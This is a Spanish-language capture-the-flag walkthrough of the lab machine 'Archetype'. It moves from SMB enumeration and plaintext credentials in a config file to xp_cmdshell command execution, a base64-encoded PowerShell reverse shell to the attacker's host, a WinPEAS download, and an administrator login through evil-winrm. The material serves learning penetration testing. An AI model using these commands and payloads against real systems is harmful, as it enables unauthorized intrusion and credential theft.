Archetype
Presenta un servidor Microsoft SQL mal configurado, recursos compartidos SMB expuestos y datos confidenciales expuestos. Se puede acceder a un recurso compartido SMB expuesto sin autenticación, donde se encuentran archivos confidenciales con credenciales en texto plano. Estas credenciales se pueden usar para autenticarse en MSSQL como el usuario de la cuenta de servicio mediante la herramienta mssqlclient de Impacket. Posteriormente, se puede ejecutar comandos habilitando xp_cmdshell, tras lo cual se puede cargar y activar una shell inversa para obtener acceso al host. Finalmente, se puede usar WinPeas para buscar vulnerabilidades, lo que revela un archivo de historial de PowerShell que contiene la contraseña necesaria para lograr una escalada de privilegios completa.

Enumeration
Enumeramos todos los puertos para ver cuáles están abiertos y qué servicios corren en ellos.
sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 10.129.204.36
PORT STATE SERVICE REASON
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
22171/tcp filtered unknown no-response
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
61175/tcp filtered unknown no-response
Enumeramos los puertos abiertos para conocer más detalles sobre los servicios.
nmap -p 135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669 -sCV -oA nmap/openports 10.129.204.36
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-info:
| 10.129.204.36:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-07-29T13:48:09
|_Not valid after: 2056-07-29T13:48:09
| ms-sql-ntlm-info:
| 10.129.204.36:1433:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
|_ssl-date: 2026-07-29T13:54:11+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-07-29T06:54:01-07:00
|_clock-skew: mean: 1h24m00s, deviation: 3h07m51s, median: 0s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2026-07-29T13:54:03
|_ start_date: N/A
Enumeramos el servicio smb.
nxc smb 10.129.204.36 -u Guest -p "" --shares
SMB 10.129.204.36 445 ARCHETYPE [*] Windows Server 2019 Standard 17763 x64 (name:ARCHETYPE) (domain:Archetype) (signing:False) (SMBv1:True) (Null Auth:True)
SMB 10.129.204.36 445 ARCHETYPE [+] Archetype\Guest:
SMB 10.129.204.36 445 ARCHETYPE [*] Enumerated shares
SMB 10.129.204.36 445 ARCHETYPE Share Permissions Remark
SMB 10.129.204.36 445 ARCHETYPE ----- ----------- ------
SMB 10.129.204.36 445 ARCHETYPE ADMIN$ Remote Admin
SMB 10.129.204.36 445 ARCHETYPE backups READ
SMB 10.129.204.36 445 ARCHETYPE C$ Default share
SMB 10.129.204.36 445 ARCHETYPE IPC$ READ Remote IPC
Encontramos un directorio backups con permisos de lectura (READ).
Listamos el contenido del recurso compartido backups.
nxc smb 10.129.204.36 -u Guest -p "" --spider backups --pattern .
SMB 10.129.204.36 445 ARCHETYPE [*] Windows Server 2019 Standard 17763 x64 (name:ARCHETYPE) (domain:Archetype) (signing:False) (SMBv1:True) (Null Auth:True)
SMB 10.129.204.36 445 ARCHETYPE [+] Archetype\Guest:
SMB 10.129.204.36 445 ARCHETYPE [*] Spidering .
SMB 10.129.204.36 445 ARCHETYPE //10.129.204.36/backups/. [dir]
SMB 10.129.204.36 445 ARCHETYPE //10.129.204.36/backups/.. [dir]
SMB 10.129.204.36 445 ARCHETYPE //10.129.204.36/backups/prod.dtsConfig [lastm:'2020-01-20 09:23' size:609]
Descargamos el recurso prod.dtsConfig.
nxc smb 10.129.204.36 -u Guest -p "" --share backups --get-file //prod.dtsConfig prod.dtsConfig
SMB 10.129.204.36 445 ARCHETYPE [*] Windows Server 2019 Standard 17763 x64 (name:ARCHETYPE) (domain:Archetype) (signing:False) (SMBv1:True) (Null Auth:True)
SMB 10.129.204.36 445 ARCHETYPE [+] Archetype\Guest:
SMB 10.129.204.36 445 ARCHETYPE [*] Copying "//prod.dtsConfig" to "prod.dtsConfig"
SMB 10.129.204.36 445 ARCHETYPE [+] File "//prod.dtsConfig" was downloaded to "prod.dtsConfig"
Leemos el contenido del archivo descargado.
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Tr
anslate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
Exploitation
Con las credenciales nos conectamos al servicio ms-sql.
mssqlclient.py 'sql_svc:M3g4c0rp123@10.129.204.36' -windows-auth
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
[!] Press help for extra shell commands
SQL (ARCHETYPE\sql_svc dbo@master)>
Activamos la ejecución de comandos.
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Chequeamos si podemos ejecutar comandos.
xp_cmdshell "whoami"
output
-----------------
archetype\sql_svc
NULL
Nos ponemos en escucha en nuestra máquina atacante.
nc -lnvp 1111
Creamos una reverse shell con Reverse Shell Generator y ejecutamos el comando que nos da el generador.
xp_cmdshell powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4ANAAxACIALAAxADEAMQAxACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpAD0AJABzAC4AUgBlAGEAZAAoACQAYgAsADAALAAkAGIALgBMAGUAbgBnAHQAaAApACkALQBuAGUAMAApAHsAJABkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAkAGkAKQA7AHQAcgB5AHsAJABvAD0AaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAMwA+ACYAMQAgADQAPgAmADEAIAA1AD4AJgAxACAANgA+ACYAMQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAfQBjAGEAdABjAGgAewAkAG8APQAkAF8AfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AaQBmACgAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAJABvACkAKQB7ACQAbwA9ACIAIgB9ACQAcAA9ACIAUABTACAAIgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAiAD4AIAAiADsAWwBiAHkAdABlAFsAXQBdACQAcwBiAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAG8AKwAkAHAAKQA7ACQAcwAuAFcAcgBpAHQAZQAoACQAcwBiACwAMAAsACQAcwBiAC4ATABlAG4AZwB0AGgAKQA7ACQAcwAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA
Una vez dentro del sistema leemos la flag.
type C:\Users\sql_svc\Desktop\user.txt
User flag
3******************************3
Privilege Escalation
Descargamos WinPEAS. Levantamos un servidor para compartirlo y descargarlo desde la máquina víctima.
wget https://github.com/peass-ng/PEASS-ng/releases/download/20260729-41db79f4/winPEASx64.exe
python3 -m http.server
Lo descargamos desde la máquina víctima.
wget http://10.10.15.41:8000/winPEASx64.exe -OutFile C:\Users\sql_svc\Desktop\winpeas.exe
Y lo ejecutamos. Entre los resultados encontramos el historias de comandos ejecutados por el usuario sql_svc con la contraseña del usuario administrator.
???????????? PowerShell Settings (T1059.001)
PowerShell v2 Version: 2.0
PowerShell v5 Version: 5.1.17763.1
PowerShell Core Version:
Transcription Settings:
Module Logging Settings:
Scriptblock Logging Settings:
PS history file: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS history size: 79B
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
Nos conectamos con las credenciales obtenidas aprovechando el servicio winRM del puerto 5985 que encontramos abierto con anterioridad.
evil-winrm -i 10.129.95.187 -u administrator -p 'MEGACORP_4dm1n!!'
Verificamos que estamos conectados como el usuario administrator.
whoami
archetype\administrator
Listamos el contenido del escritorio del usuario administrator.
dir ..\Desktop
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/25/2020 6:36 AM 32 root.txt
Leemos el contenido de la flag.
type ..\Desktop\root.txt
Root flag
b******************************8